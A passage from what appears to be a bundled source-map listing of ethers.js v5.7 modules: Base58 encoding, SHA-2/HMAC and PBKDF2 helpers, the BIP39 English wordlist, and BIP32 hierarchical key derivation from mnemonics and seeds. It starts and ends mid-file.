= new BaseX(\"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\");\n\nexport { Base32, Base58 };\n\n//console.log(Base58.decode(\"Qmd2V777o5XvJbYMeMb8k2nU5f8d3ciUQ5YpYuWhzv8iDj\"))\n//console.log(Base58.encode(Base58.decode(\"Qmd2V777o5XvJbYMeMb8k2nU5f8d3ciUQ5YpYuWhzv8iDj\")))\n", "\"use strict\";\n\nimport hash from \"hash.js\";\n//const _ripemd160 = _hash.ripemd160;\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\n\nimport { SupportedAlgorithm } from \"./types\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport function ripemd160(data: BytesLike): string {\n return \"0x\" + (hash.ripemd160().update(arrayify(data)).digest(\"hex\"));\n}\n\nexport function sha256(data: BytesLike): string {\n return \"0x\" + (hash.sha256().update(arrayify(data)).digest(\"hex\"));\n}\n\nexport function sha512(data: BytesLike): string {\n return \"0x\" + (hash.sha512().update(arrayify(data)).digest(\"hex\"));\n}\n\nexport function computeHmac(algorithm: SupportedAlgorithm, key: BytesLike, data: BytesLike): string {\n if (!SupportedAlgorithm[algorithm]) {\n logger.throwError(\"unsupported algorithm \" + algorithm, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"hmac\",\n algorithm: algorithm\n });\n }\n\n return \"0x\" + hash.hmac((hash)[algorithm], arrayify(key)).update(arrayify(data)).digest(\"hex\");\n}\n\n", "export enum SupportedAlgorithm { sha256 = \"sha256\", sha512 = \"sha512\" };\n\n", "export const version = \"sha2/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify, BytesLike, hexlify } from \"@ethersproject/bytes\";\nimport { computeHmac, SupportedAlgorithm } from \"@ethersproject/sha2\";\n\nexport function pbkdf2(password: BytesLike, salt: BytesLike, iterations: number, keylen: number, hashAlgorithm: string): string {\n password = arrayify(password);\n salt = arrayify(salt);\n let hLen;\n let l = 1;\n const DK = new Uint8Array(keylen)\n const block1 = new Uint8Array(salt.length + 4)\n block1.set(salt);\n //salt.copy(block1, 0, 0, salt.length)\n\n let r: number;\n let T: Uint8Array;\n\n for (let i = 1; i <= l; i++) {\n //block1.writeUInt32BE(i, salt.length)\n block1[salt.length] = (i >> 24) & 0xff;\n block1[salt.length + 1] = (i >> 16) & 0xff;\n block1[salt.length + 2] = (i >> 8) & 0xff;\n block1[salt.length + 3] = i & 0xff;\n\n //let U = createHmac(password).update(block1).digest();\n let U = arrayify(computeHmac(hashAlgorithm, password, block1));\n\n if (!hLen) {\n hLen = U.length\n T = new Uint8Array(hLen)\n l = Math.ceil(keylen / hLen)\n r = keylen - (l - 1) * hLen\n }\n\n //U.copy(T, 0, 0, hLen)\n T.set(U);\n\n\n for (let j = 1; j < iterations; j++) {\n //U = createHmac(password).update(U).digest();\n U = arrayify(computeHmac(hashAlgorithm, password, U));\n for (let k = 0; k < hLen; k++) T[k] ^= U[k]\n }\n\n\n const destPos = (i - 1) * hLen\n const len = (i === l ? r : hLen)\n //T.copy(DK, destPos, 0, len)\n DK.set(arrayify(T).slice(0, len), destPos);\n }\n\n return hexlify(DK)\n}\n\n", "export const version = \"wordlists/5.7.0\";\n", "\"use strict\";\n\n// This gets overridden by rollup\nconst exportWordlist = false;\n\nimport { id } from \"@ethersproject/hash\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nexport const logger = new Logger(version);\n\nexport abstract class Wordlist {\n readonly locale: string;\n\n constructor(locale: string) {\n logger.checkAbstract(new.target, Wordlist);\n defineReadOnly(this, \"locale\", locale);\n }\n\n abstract getWord(index: number): string;\n abstract getWordIndex(word: string): number;\n\n // Subclasses may override this\n split(mnemonic: string): Array {\n return mnemonic.toLowerCase().split(/ +/g)\n }\n\n // Subclasses may override this\n join(words: Array): string {\n return words.join(\" \");\n }\n\n static check(wordlist: Wordlist): string {\n const words = [];\n for (let i = 0; i < 2048; i++) {\n const word = wordlist.getWord(i);\n /* istanbul ignore if */\n if (i !== wordlist.getWordIndex(word)) { return \"0x\"; }\n words.push(word);\n }\n return id(words.join(\"\\n\") + \"\\n\");\n }\n\n static register(lang: Wordlist, name?: string): void {\n if (!name) { name = lang.locale; }\n\n /* istanbul ignore if */\n if (exportWordlist) {\n try {\n const anyGlobal = (window as any)\n if (anyGlobal._ethers && anyGlobal._ethers.wordlists) {\n if (!anyGlobal._ethers.wordlists[name]) {\n defineReadOnly(anyGlobal._ethers.wordlists, name, lang);\n }\n }\n } catch (error) { }\n }\n }\n\n}\n\n", "\"use strict\";\n\nimport { Wordlist } from \"./wordlist\";\n\n\nconst words = \"AbandonAbilityAbleAboutAboveAbsentAbsorbAbstractAbsurdAbuseAccessAccidentAccountAccuseAchieveAcidAcousticAcquireAcrossActActionActorActressActualAdaptAddAddictAddressAdjustAdmitAdultAdvanceAdviceAerobicAffairAffordAfraidAgainAgeAgentAgreeAheadAimAirAirportAisleAlarmAlbumAlcoholAlertAlienAllAlleyAllowAlmostAloneAlphaAlreadyAlsoAlterAlwaysAmateurAmazingAmongAmountAmusedAnalystAnchorAncientAngerAngleAngryAnimalAnkleAnnounceAnnualAnotherAnswerAntennaAntiqueAnxietyAnyApartApologyAppearAppleApproveAprilArchArcticAreaArenaArgueArmArmedArmorArmyAroundArrangeArrestArriveArrowArtArtefactArtistArtworkAskAspectAssaultAssetAssistAssumeAsthmaAthleteAtomAttackAttendAttitudeAttractAuctionAuditAugustAuntAuthorAutoAutumnAverageAvocadoAvoidAwakeAwareAwayAwesomeAwfulAwkwardAxisBabyBachelorBaconBadgeBagBalanceBalconyBallBambooBananaBannerBarBarelyBargainBarrelBaseBasicBasketBattleBeachBeanBeautyBecauseBecomeBeefBeforeBeginBehaveBehindBelieveBelowBeltBenchBenefitBestBetrayBetterBetweenBeyondBicycleBidBikeBindBiologyBirdBirthBitterBlackBladeBlameBlanketBlastBleakBlessBlindBloodBlossomBlouseBlueBlurBlushBoardBoatBodyBoilBombBoneBonusBookBoostBorderBoringBorrowBossBottomBounceBoxBoyBracketBrainBrandBrassBraveBreadBreezeBrickBridgeBriefBrightBringBriskBroccoliBrokenBronzeBroomBrotherBrownBrushBubbleBuddyBudgetBuffaloBuildBulbBulkBulletBundleBunkerBurdenBurgerBurstBusBusinessBusyButterBuyerBuzzCabbageCabinCableCactusCageCakeCallCalmCameraCampCanCanalCancelCandyCannonCanoeCanvasCanyonCapableCapitalCaptainCarCarbonCardCargoCarpetCarryCartCaseCashCasinoCastleCasualCatCatalogCatchCategoryCattleCaughtCauseCautionCaveCeilingCeleryCementCensusCenturyCerealCertainChairChalkChampionChangeChaosChapterChargeChaseChatCheapCheckCheeseChefCherryChestChickenChiefChildChimneyChoiceChooseChronicChuckleChunkChurnCigarCinnamonCircleCitizenCityCivilClaimClapClarifyClawClayCleanClerkCleverClickClientCliffClimbClinicClipClockClogCloseClothCloudClownClubClumpClusterClutchCoachCoastCoconutCodeCoffeeCoilCoinCollectColorColumnCombineComeComfortComicCommonCompanyConcertConductConfirmCongressConnectConsiderControlConvinceCookCoolCopperCopyCoralCoreCornCorrectCostCottonCouchCountryCoupleCourseCousinCoverCoyoteCrackCradleCraftCramCraneCrashCraterCrawlCrazyCreamCreditCreekCrewCricketCrimeCrispCriticCropCrossCrouchCrowdCrucialCruelCruiseCrumbleCrunchCrushCryCrystalCubeCultureCupCupboardCuriousCurrentCurtainCurveCushionCustomCuteCycleDadDamageDampDanceDangerDaringDashDaughterDawnDayDealDebateDebrisDecadeDecemberDecideDeclineDecorateDecreaseDeerDefenseDefineDefyDegreeDelayDeliverDemandDemiseDenialDentistDenyDepartDependDepositDepthDeputyDeriveDescribeDesertDesignDeskDespairDestroyDetailDetectDevelopDeviceDevoteDiagramDialDiamondDiaryDiceDieselDietDifferDigitalDignityDilemmaDinnerDinosaurDirectDirtDisagreeDiscoverDiseaseDishDismissDisorderDisplayDistanceDivertDivideDivorceDizzyDoctorDocumentDogDollDolphinDomainDonateDonkeyDonorDoorDoseDoubleDoveDraftDragonDramaDrasticDrawDreamDressDriftDrillDrinkDripDriveDropDrumDryDuckDumbDuneDuringDustDutchDutyDwarfDynamicEagerEagleEarlyEarnEarthEasilyEastEasyEchoEcologyEconomyEdgeEditEducateEffortEggEightEitherElbowElderElectricElegantElementElephantElevatorEliteElseEmbarkEmbodyEmbraceEmergeEmotionEmployEmpowerEmptyEnableEnactEndEndlessEndorseEnemyEnergyEnforceEngageEngineEnhanceEnjoyEnlistEnoughEnrichEnrollEnsureEnterEntireEntryEnvelopeEpisodeEqualEquipEraEraseErodeErosionErrorEruptEscapeEssayEssenceEstateEternalEthicsEvidenceEvilEvokeEvolveExactExampleExcessExchangeExciteExcludeExcuseExecuteExerciseExhaustExhibitExileExistExitExoticExpandExpectExpireExplainExposeExpressExtendExtraEyeEyebrowFabricFaceFacultyFadeFaintFaithFallFalseFameFamilyFamousFanFancyFantasyFarmFashionFatFatalFatherFatigueFaultFavoriteFeatureFebruaryFederalFeeFeedFeelFemaleFenceFestivalFetchFeverFewFiberFictionFieldFigureFileFilmFilterFinalFindFineFingerFinishFireFirmFirstFiscalFishFitFitnessFixFlagFlameFlashFlatFlavorFleeFlightFlipFloatFlockFloorFlowerFluidFlushFlyFoamFocusFogFoilFoldFollowFoodFootForceForestForgetForkFortuneForumForwardFossilFosterFoundFoxFragileFrameFrequentFreshFriendFringeFrogFrontFrostFrownFrozenFruitFuelFunFunnyFurnaceFuryFutureGadgetGainGalaxyGalleryGameGapGarageGarbageGardenGarlicGarmentGasGaspGateGatherGaugeGazeGeneralGeniusGenreGentleGenuineGestureGhostGiantGiftGiggleGingerGiraffeGirlGiveGladGlanceGlareGlassGlideGlimpseGlobeGloomGloryGloveGlowGlueGoatGoddessGoldGoodGooseGorillaGospelGossipGovernGownGrabGraceGrainGrantGrapeGrassGravityGreatGreenGridGriefGritGroceryGroupGrowGruntGuardGuessGuideGuiltGuitarGunGymHabitHairHalfHammerHamsterHandHappyHarborHardHarshHarvestHatHaveHawkHazardHeadHealthHeartHeavyHedgehogHeightHelloHelmetHelpHenHeroHiddenHighHillHintHipHireHistoryHobbyHockeyHoldHoleHolidayHollowHomeHoneyHoodHopeHornHorrorHorseHospitalHostHotelHourHoverHubHugeHumanHumbleHumorHundredHungryHuntHurdleHurryHurtHusbandHybridIceIconIdeaIdentifyIdleIgnoreIllIllegalIllnessImageImitateImmenseImmuneImpactImposeImproveImpulseInchIncludeIncomeIncreaseIndexIndicateIndoorIndustryInfantInflictInformInhaleInheritInitialInjectInjuryInmateInnerInnocentInputInquiryInsaneInsectInsideInspireInstallIntactInterestIntoInvestInviteInvolveIronIslandIsolateIssueItemIvoryJacketJaguarJarJazzJealousJeansJellyJewelJobJoinJokeJourneyJoyJudgeJuiceJumpJungleJuniorJunkJustKangarooKeenKeepKetchupKeyKickKidKidneyKindKingdomKissKitKitchenKiteKittenKiwiKneeKnifeKnockKnowLabLabelLaborLadderLadyLakeLampLanguageLaptopLargeLaterLatinLaughLaundryLavaLawLawnLawsuitLayerLazyLeaderLeafLearnLeaveLectureLeftLegLegalLegendLeisureLemonLendLengthLensLeopardLessonLetterLevelLiarLibertyLibraryLicenseLifeLiftLightLikeLimbLimitLinkLionLiquidListLittleLiveLizardLoadLoanLobsterLocalLockLogicLonelyLongLoopLotteryLoudLoungeLoveLoyalLuckyLuggageLumberLunarLunchLuxuryLyricsMachineMadMagicMagnetMaidMailMainMajorMakeMammalManManageMandateMangoMansionManualMapleMarbleMarchMarginMarineMarketMarriageMaskMassMasterMatchMaterialMathMatrixMatterMaximumMazeMeadowMeanMeasureMeatMechanicMedalMediaMelodyMeltMemberMemoryMentionMenuMercyMergeMeritMerryMeshMessageMetalMethodMiddleMidnightMilkMillionMimicMindMinimumMinorMinuteMiracleMirrorMiseryMissMistakeMixMixedMixtureMobileModelModifyMomMomentMonitorMonkeyMonsterMonthMoonMoralMoreMorningMosquitoMotherMotionMotorMountainMouseMoveMovieMuchMuffinMuleMultiplyMuscleMuseumMushroomMusicMustMutualMyselfMysteryMythNaiveNameNapkinNarrowNastyNationNatureNearNeckNeedNegativeNeglectNeitherNephewNerveNestNetNetworkNeutralNeverNewsNextNiceNightNobleNoiseNomineeNoodleNormalNorthNoseNotableNoteNothingNoticeNovelNowNuclearNumberNurseNutOakObeyObjectObligeObscureObserveObtainObviousOccurOceanOctoberOdorOffOfferOfficeOftenOilOkayOldOliveOlympicOmitOnceOneOnionOnlineOnlyOpenOperaOpinionOpposeOptionOrangeOrbitOrchardOrderOrdinaryOrganOrientOriginalOrphanOstrichOtherOutdoorOuterOutputOutsideOvalOvenOverOwnOwnerOxygenOysterOzonePactPaddlePagePairPalacePalmPandaPanelPanicPantherPaperParadeParentParkParrotPartyPassPatchPathPatientPatrolPatternPausePavePaymentPeacePeanutPearPeasantPelicanPenPenaltyPencilPeoplePepperPerfectPermitPersonPetPhonePhotoPhrasePhysicalPianoPicnicPicturePiecePigPigeonPillPilotPinkPioneerPipePistolPitchPizzaPlacePlanetPlasticPlatePlayPleasePledgePluckPlugPlungePoemPoetPointPolarPolePolicePondPonyPoolPopularPortionPositionPossiblePostPotatoPotteryPovertyPowderPowerPracticePraisePredictPreferPreparePresentPrettyPreventPricePridePrimaryPrintPriorityPrisonPrivatePrizeProblemProcessProduceProfitProgramProjectPromoteProofPropertyProsperProtectProudProvidePublicPuddingPullPulpPulsePumpkinPunchPupilPuppyPurchasePurityPurposePursePushPutPuzzlePyramidQualityQuantumQuarterQuestionQuickQuitQuizQuoteRabbitRaccoonRaceRackRadarRadioRailRainRaiseRallyRampRanchRandomRangeRapidRareRateRatherRavenRawRazorReadyRealReasonRebelRebuildRecallReceiveRecipeRecordRecycleReduceReflectReformRefuseRegionRegretRegularRejectRelaxReleaseReliefRelyRemainRememberRemindRemoveRenderRenewRentReopenRepairRepeatReplaceReportRequireRescueResembleResistResourceResponseResultRetireRetreatReturnReunionRevealReviewRewardRhythmRibRibbonRiceRichRideRidgeRifleRightRigidRingRiotRippleRiskRitualRivalRiverRoadRoastRobotRobustRocketRomanceRoofRookieRoomRoseRotateRoughRoundRouteRoyalRubberRudeRugRuleRunRunwayRuralSadSaddleSadnessSafeSailSaladSalmonSalonSaltSaluteSameSampleSandSatisfySatoshiSauceSausageSaveSayScaleScanScareScatterSceneSchemeSchoolScienceScissorsScorpionScoutScrapScreenScriptScrubSeaSearchSeasonSeatSecondSecretSectionSecuritySeedSeekSegmentSelectSellSeminarSeniorSenseSentenceSeriesServiceSessionSettleSetupSevenShadowShaftShallowShareShedShellSheriffShieldShiftShineShipShiverShockShoeShootShopShortShoulderShoveShrimpShrugShuffleShySiblingSickSideSiegeSightSignSilentSilkSillySilverSimilarSimpleSinceSingSirenSisterSituateSixSizeSkateSketchSkiSkillSkinSkirtSkullSlabSlamSleepSlenderSliceSlideSlightSlimSloganSlotSlowSlushSmallSmartSmileSmokeSmoothSnackSnakeSnapSniffSnowSoapSoccerSocialSockSodaSoftSolarSoldierSolidSolutionSolveSomeoneSongSoonSorrySortSoulSoundSoupSourceSouthSpaceSpareSpatialSpawnSpeakSpecialSpeedSpellSpendSphereSpiceSpiderSpikeSpinSpiritSplitSpoilSponsorSpoonSportSpotSpraySpreadSpringSpySquareSqueezeSquirrelStableStadiumStaffStageStairsStampStandStartStateStaySteakSteelStemStepStereoStickStillStingStockStomachStoneStoolStoryStoveStrategyStreetStrikeStrongStruggleStudentStuffStumbleStyleSubjectSubmitSubwaySuccessSuchSuddenSufferSugarSuggestSuitSummerSunSunnySunsetSuperSupplySupremeSureSurfaceSurgeSurpriseSurroundSurveySuspectSustainSwallowSwampSwapSwarmSwearSweetSwiftSwimSwingSwitchSwordSymbolSymptomSyrupSystemTableTackleTagTailTalentTalkTankTapeTargetTaskTasteTattooTaxiTeachTeamTellTenTenantTennisTentTermTestTextThankThatThemeThenTheoryThereTheyThingThisThoughtThreeThriveThrowThumbThunderTicketTideTigerTiltTimberTimeTinyTipTiredTissueTitleToastTobaccoTodayToddlerToeTogetherToiletTokenTomatoTomorrowToneTongueTonightToolToothTopTopicToppleTorchTornadoTortoiseTossTotalTouristTowardTowerTownToyTrackTradeTrafficTragicTrainTransferTrapTrashTravelTrayTreatTreeTrendTrialTribeTrickTriggerTrimTripTrophyTroubleTruckTrueTrulyTrumpetTrustTruthTryTubeTuitionTumbleTunaTunnelTurkeyTurnTurtleTwelveTwentyTwiceTwinTwistTwoTypeTypicalUglyUmbrellaUnableUnawareUncleUncoverUnderUndoUnfairUnfoldUnhappyUniformUniqueUnitUniverseUnknownUnlockUntilUnusualUnveilUpdateUpgradeUpholdUponUpperUpsetUrbanUrgeUsageUseUsedUsefulUselessUsualUtilityVacantVacuumVagueValidValleyValveVanVanishVaporVariousVastVaultVehicleVelvetVendorVentureVenueVerbVerifyVersionVeryVesselVeteranViableVibrantViciousVictoryVideoViewVillageVintageViolinVirtualVirusVisaVisitVisualVitalVividVocalVoiceVoidVolcanoVolumeVoteVoyageWageWagonWaitWalkWallWalnutWantWarfareWarmWarriorWashWaspWasteWaterWaveWayWealthWeaponWearWeaselWeatherWebWeddingWeekendWeirdWelcomeWestWetWhaleWhatWheatWheelWhenWhereWhipWhisperWideWidthWifeWildWillWinWindowWineWingWinkWinnerWinterWireWisdomWiseWishWitnessWolfWomanWonderWoodWoolWordWorkWorldWorryWorthWrapWreckWrestleWristWriteWrongYardYearYellowYouYoungYouthZebraZeroZoneZoo\";\n\nlet wordlist: Array = null;\n\n\nfunction loadWords(lang: Wordlist): void {\n if (wordlist != null) { return; }\n wordlist = words.replace(/([A-Z])/g, \" $1\").toLowerCase().substring(1).split(\" \");\n\n // Verify the computed list matches the official list\n /* istanbul ignore if */\n if (Wordlist.check(lang) !== \"0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60\") {\n wordlist = null;\n throw new Error(\"BIP39 Wordlist for en (English) FAILED\");\n }\n}\n\nclass LangEn extends Wordlist {\n constructor() {\n super(\"en\");\n }\n\n getWord(index: number): string {\n loadWords(this);\n return wordlist[index];\n }\n\n getWordIndex(word: string): number {\n loadWords(this);\n return wordlist.indexOf(word);\n }\n}\n\nconst langEn = new LangEn();\nWordlist.register(langEn);\n\nexport { langEn };\n", "\"use strict\";\n\n// Wordlists\n// See: https://github.com/bitcoin/bips/blob/master/bip-0039/bip-0039-wordlists.md\n\n// Browser; only include English by default\n\nimport { Wordlist } from \"./wordlist\";\n\nimport { langEn as en } from \"./lang-en\";\n\nexport const wordlists: { [ locale: string ]: Wordlist } = {\n en: en\n}\n", "export const version = \"hdnode/5.7.0\";\n", "\"use strict\";\n\n// See: https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki\n// See: https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki\n\n\nimport { ExternallyOwnedAccount } from \"@ethersproject/abstract-signer\";\nimport { Base58 } from \"@ethersproject/basex\";\nimport { arrayify, BytesLike, concat, hexDataSlice, hexZeroPad, hexlify } from \"@ethersproject/bytes\";\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { toUtf8Bytes, UnicodeNormalizationForm } from \"@ethersproject/strings\";\nimport { pbkdf2 } from \"@ethersproject/pbkdf2\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\nimport { SigningKey } from \"@ethersproject/signing-key\";\nimport { computeHmac, ripemd160, sha256, SupportedAlgorithm } from \"@ethersproject/sha2\";\nimport { computeAddress } from \"@ethersproject/transactions\";\nimport { Wordlist, wordlists } from \"@ethersproject/wordlists\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nconst N = BigNumber.from(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");\n\n\n// \"Bitcoin seed\"\nconst MasterSecret = toUtf8Bytes(\"Bitcoin seed\");\n\nconst HardenedBit = 0x80000000;\n\n// Returns a byte with the MSB bits set\nfunction getUpperMask(bits: number): number {\n return ((1 << bits) - 1) << (8 - bits);\n}\n\n// Returns a byte with the LSB bits set\nfunction getLowerMask(bits: number): number {\n return (1 << bits) - 1;\n}\n\nfunction bytes32(value: BigNumber | Uint8Array): string {\n return hexZeroPad(hexlify(value), 32);\n}\n\nfunction base58check(data: Uint8Array): string {\n return Base58.encode(concat([ data, hexDataSlice(sha256(sha256(data)), 0, 4) ]));\n}\n\nfunction getWordlist(wordlist: string | Wordlist): Wordlist {\n if (wordlist == null) {\n return wordlists[\"en\"];\n }\n\n if (typeof(wordlist) === \"string\") {\n const words = wordlists[wordlist];\n if (words == null) {\n logger.throwArgumentError(\"unknown locale\", \"wordlist\", wordlist);\n }\n return words;\n }\n\n return wordlist;\n}\n\nconst _constructorGuard: any = {};\n\nexport const defaultPath = \"m/44'/60'/0'/0/0\";\n\nexport interface Mnemonic {\n readonly phrase: string;\n readonly path: string;\n readonly locale: string;\n};\n\nexport class HDNode implements ExternallyOwnedAccount {\n readonly privateKey: string;\n readonly publicKey: string;\n\n readonly fingerprint: string;\n readonly parentFingerprint: string;\n\n readonly address: string;\n\n readonly mnemonic?: Mnemonic;\n readonly path: string;\n\n readonly chainCode: string;\n\n readonly index: number;\n readonly depth: number;\n\n /**\n * This constructor should not be called directly.\n *\n * Please use:\n * - fromMnemonic\n * - fromSeed\n */\n constructor(constructorGuard: any, privateKey: string, publicKey: string, parentFingerprint: string, chainCode: string, index: number, depth: number, mnemonicOrPath: Mnemonic | string) {\n /* istanbul ignore if */\n if (constructorGuard !== _constructorGuard) {\n throw new Error(\"HDNode constructor cannot be called directly\");\n }\n\n if (privateKey) {\n const signingKey = new SigningKey(privateKey);\n defineReadOnly(this, \"privateKey\", signingKey.privateKey);\n defineReadOnly(this, \"publicKey\", signingKey.compressedPublicKey);\n } else {\n defineReadOnly(this, \"privateKey\", null);\n defineReadOnly(this, \"publicKey\", hexlify(publicKey));\n }\n\n defineReadOnly(this, \"parentFingerprint\", parentFingerprint);\n defineReadOnly(this, \"fingerprint\", hexDataSlice(ripemd160(sha256(this.publicKey)), 0, 4));\n\n defineReadOnly(this, \"address\", computeAddress(this.publicKey));\n\n defineReadOnly(this, \"chainCode\", chainCode);\n\n defineReadOnly(this, \"index\", index);\n defineReadOnly(this, \"depth\", depth);\n\n if (mnemonicOrPath == null) {\n // From a source that does not preserve the path (e.g. extended keys)\n defineReadOnly(this, \"mnemonic\", null);\n defineReadOnly(this, \"path\", null);\n\n } else if (typeof(mnemonicOrPath) === \"string\") {\n // From a source that does not preserve the mnemonic (e.g. neutered)\n defineReadOnly(this, \"mnemonic\", null);\n defineReadOnly(this, \"path\", mnemonicOrPath);\n\n } else {\n // From a fully qualified source\n defineReadOnly(this, \"mnemonic\", mnemonicOrPath);\n defineReadOnly(this, \"path\", mnemonicOrPath.path);\n }\n }\n\n get extendedKey(): string {\n // We only support the mainnet values for now, but if anyone needs\n // testnet values, let me know. I believe current sentiment is that\n // we should always use mainnet, and use BIP-44 to derive the network\n // - Mainnet: public=0x0488B21E, private=0x0488ADE4\n // - Testnet: public=0x043587CF, private=0x04358394\n\n if (this.depth >= 256) { throw new Error(\"Depth too large!\"); }\n\n return base58check(concat([\n ((this.privateKey != null) ? \"0x0488ADE4\": \"0x0488B21E\"),\n hexlify(this.depth),\n this.parentFingerprint,\n hexZeroPad(hexlify(this.index), 4),\n this.chainCode,\n ((this.privateKey != null) ? concat([ \"0x00\", this.privateKey ]): this.publicKey),\n ]));\n }\n\n neuter(): HDNode {\n return new HDNode(_constructorGuard, null, this.publicKey, this.parentFingerprint, this.chainCode, this.index, this.depth, this.path);\n }\n\n private _derive(index: number): HDNode {\n if (index > 0xffffffff) { throw new Error(\"invalid index - \" + String(index)); }\n\n // Base path\n let path = this.path;\n if (path) { path += \"/\" + (index & ~HardenedBit); }\n\n const data = new Uint8Array(37);\n\n if (index & HardenedBit) {\n if (!this.privateKey) {\n throw new Error(\"cannot derive child of neutered node\");\n }\n\n // Data = 0x00 || ser_256(k_par)\n data.set(arrayify(this.privateKey), 1);\n\n // Hardened path\n if (path) { path += \"'\"; }\n\n } else {\n // Data = ser_p(point(k_par))\n data.set(arrayify(this.publicKey));\n }\n\n // Data += ser_32(i)\n for (let i = 24; i >= 0; i -= 8) { data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); }\n\n const I = arrayify(computeHmac(SupportedAlgorithm.sha512, this.chainCode, data));\n const IL = I.slice(0, 32);\n const IR = I.slice(32);\n\n // The private key\n let ki: string = null\n\n // The public key\n let Ki: string = null;\n\n if (this.privateKey) {\n ki = bytes32(BigNumber.from(IL).add(this.privateKey).mod(N));\n } else {\n const ek = new SigningKey(hexlify(IL));\n Ki = ek._addPoint(this.publicKey);\n }\n\n let mnemonicOrPath: Mnemonic | string = path;\n\n const srcMnemonic = this.mnemonic;\n if (srcMnemonic) {\n mnemonicOrPath = Object.freeze({\n phrase: srcMnemonic.phrase,\n path: path,\n locale: (srcMnemonic.locale || \"en\")\n });\n }\n\n return new HDNode(_constructorGuard, ki, Ki, this.fingerprint, bytes32(IR), index, this.depth + 1, mnemonicOrPath);\n }\n\n derivePath(path: string): HDNode {\n const components = path.split(\"/\");\n\n if (components.length === 0 || (components[0] === \"m\" && this.depth !== 0)) {\n throw new Error(\"invalid path - \" + path);\n }\n\n if (components[0] === \"m\") { components.shift(); }\n\n let result: HDNode = this;\n for (let i = 0; i < components.length; i++) {\n const component = components[i];\n if (component.match(/^[0-9]+'$/)) {\n const index = parseInt(component.substring(0, component.length - 1));\n if (index >= HardenedBit) { throw new Error(\"invalid path index - \" + component); }\n result = result._derive(HardenedBit + index);\n } else if (component.match(/^[0-9]+$/)) {\n const index = parseInt(component);\n if (index >= HardenedBit) { throw new Error(\"invalid path index - \" + component); }\n result = result._derive(index);\n } else {\n throw new Error(\"invalid path component - \" + component);\n }\n }\n\n return result;\n }\n\n\n static _fromSeed(seed: BytesLike, mnemonic: Mnemonic): HDNode {\n const seedArray: Uint8Array = arrayify(seed);\n if (seedArray.length < 16 || seedArray.length > 64) { throw new Error(\"invalid seed\"); }\n\n const I: Uint8Array = arrayify(computeHmac(SupportedAlgorithm.sha512, MasterSecret, seedArray));\n\n return new HDNode(_constructorGuard, bytes32(I.slice(0, 32)), null, \"0x00000000\", bytes32(I.slice(32)), 0, 0, mnemonic);\n }\n\n static fromMnemonic(mnemonic: string, password?: string, wordlist?: string | Wordlist): HDNode {\n\n // If a locale name was passed in, find the associated wordlist\n wordlist = getWordlist(wordlist);\n\n // Normalize the case and spacing in the mnemonic (throws if the mnemonic is invalid)\n mnemonic = entropyToMnemonic(mnemonicToEntropy(mnemonic, wordlist), wordlist);\n\n return HDNode._fromSeed(mnemonicToSeed(mnemonic, password), {\n phrase: mnemonic,\n path: \"m\",\n locale: wordlist.locale\n });\n }\n\n static fromSeed(seed: BytesLike): HDNode {\n return HDNode._fromSeed(seed, null);\n }\n\n static fromExtendedKey(extendedKey: string): HDNode {\n const bytes = Base58.decode(extendedKey);\n\n if (bytes.length !== 82 || base58check(bytes.slice(0, 78)) !== extendedKey) {\n logger.throwArgumentError(\"invalid extended key\", \"extendedKey\", \"[REDACTED]\");\n }\n\n const depth = bytes[4];\n const parentFingerprint = hexlify(bytes.slice(5, 9));\n const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16);\n const chainCode = hexlify(bytes.slice(13, 45));\n const key = bytes.slice(45, 78);\n\n switch (hexlify(bytes.slice(0, 4))) {\n // Public Key\n case \"0x0488b21e\": case \"0x043587cf\":\n return new HDNode(_constructorGuard, null, hexlify(key), parentFingerprint, chainCode, index, depth, null);\n\n // Private Key\n case \"0x0488ade4\": case \"0x04358394 \":\n if (key[0] !== 0) { break; }\n return new HDNode(_constructorGuard, hexlify(key.slice(1)), null, parentFingerprint, chainCode, index, depth, null);\n }\n\n return logger.throwArgumentError(\"invalid extended key\", \"extendedKey\", \"[REDACTED]\");\n }\n}\n\nexport function mnemonicToSeed(mnemonic: string, password?: string): string {\n if (!password) { password = \"\"; }\n\n const salt = toUtf8Bytes(\"mnemonic\" + password, UnicodeNormalizationForm.NFKD);\n\n return pbkdf2(toUtf8Bytes(mnemonic, UnicodeNormalizationForm.NFKD), salt, 2048, 64, \"sha512\");\n}\n\nexport function mnemonicToEntropy(mnemonic: string, wordlist?: string | Wordlist): string {\n wordlist = getWordlist(wordlist);\n\n logger.checkNormalize();\n\n const words = wordlist.split(mnemonic);\n if ((words.length % 3) !== 0) { throw new Error(\"invalid mnemonic\"); }\n\n const entropy = arrayify(new Uint8Array(Math.ceil(11 * words.length / 8)));\n\n let offset = 0;\n for (let i = 0; i < words.length; i++) {\n let index = wordlist.getWordIndex(words[i].normalize(\"NFKD\"));\n if (index === -1) { throw new Error(\"invalid mnemonic\"); }\n\n for (let bit = 0; bit < 11; bit++) {\n if (index & (1 << (10 - bit))) {\n entropy[offset >> 3] |= (1 << (7 - (offset % 8)));\n }\n offset++;\n }\n }\n\n const entropyBits = 32 * words.length / 3;\n\n const checksumBits = words.length / 3;\n const checksumMask = getUpperMask(checksumBits);\n\n const checksum = arrayify(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask;\n\n if (checksum !== (entropy[entropy.length - 1] & checksumMask)) {\n throw new Error(\"invalid checksum\");\n }\n\n return hexlify(entropy.slice(0, entropyBits / 8));\n}\n\nexport function entropyToMnemonic(entropy: BytesLike, wordlist?: string | Wordlist): string {\n wordlist = getWordlist(wordlist);\n\n entropy = arrayify(entropy);\n\n if ((entropy.length % 4) !== 0 || entropy.length < 16 || 